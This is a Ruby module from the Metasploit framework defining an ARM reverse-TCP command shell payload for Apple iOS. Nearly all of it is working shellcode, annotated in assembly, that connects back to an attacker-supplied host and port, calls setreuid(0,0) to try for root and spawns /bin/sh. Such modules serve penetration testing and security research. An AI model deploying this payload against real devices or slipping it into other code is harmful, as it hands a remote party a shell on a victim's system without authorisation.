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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 152
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  include Msf::Payload::Single
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  include Msf::Payload::Osx
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Apple iOS Command Shell, Reverse TCP Inline',
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        'Description' => 'Connect back to attacker and spawn a command shell',
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        'Author' => 'hdm',
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        'License' => MSF_LICENSE,
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        'Platform' => 'osx',
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        'Arch' => ARCH_ARMLE,
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        'Handler' => Msf::Handler::ReverseTcp,
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        'Session' => Msf::Sessions::CommandShellUnix,
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        'Payload' => {
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          'Offsets' =>
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                  {
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                    'LPORT' => [ 30, 'n' ],
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                    'LHOST' => [ 32, 'ADDR' ]
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                  },
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          'Payload' =>
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                       [
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                         # socket
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                         0xe3a00002, # mov r0, #0x2
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                         0xe3a01001, # mov r1, #0x1
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                         0xe3a02006, # mov r2, #0x6
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                         0xe3a0c061, # mov r12, #0x61
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                         0xef000080, # swi 128
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                         0xe1a0a000, # mov r10, r0
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                         0xeb000001, # bl _konnect
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                         # port 4444
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                         0x5c110200,
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                         # host 192.168.0.135
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                         0x8700a8c0,
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                         # connect
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                         0xe1a0000a, # mov r0, r10
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                         0xe1a0100e, # mov r1, lr
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                         0xe3a02010, # mov r2, #0x10
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                         0xe3a0c062, # mov r12, #0x62
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                         0xef000080, # swi 128
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                         # setup dup2
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                         0xe3a05002, # mov r5, #0x2
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                         # dup2
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                         0xe3a0c05a, # mov r12, #0x5a
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                         0xe1a0000a, # mov r0, r10
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                         0xe1a01005, # mov r1, r5
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                         0xef000080, # swi 128
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                         0xe2455001, # sub r5, r5, #0x1
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                         0xe3550000, # cmp r5, #0x0
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                         0xaafffff8, # bge _dup2
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                         # setreuid(0,0)
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                         0xe3a00000, # mov r0, #0x0
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                         0xe3a01000, # mov r1, #0x0
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                         0xe3a0c07e, # mov r12, #0x7e
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                         0xef000080, # swi 128
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                         # execve
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                         0xe0455005, # sub r5, r5, r5
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                         0xe1a0600d, # mov r6, sp
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                         0xe24dd020, # sub sp, sp, #0x20
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                         0xe28f0014, # add r0, pc, #0x14
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                         0xe4860000, # str r0, [r6], #0
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                         0xe5865004, # str r5, [r6, #4]
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                         0xe1a01006, # mov r1, r6
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                         0xe3a02000, # mov r2, #0x0
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                         0xe3a0c03b, # mov r12, #0x3b
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                         0xef000080, # swi 128
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                         # /bin/sh
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                         0x6e69622f,
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                         0x0068732f
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                       ].pack('V*')
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        }
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      )
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    )
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  end
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end
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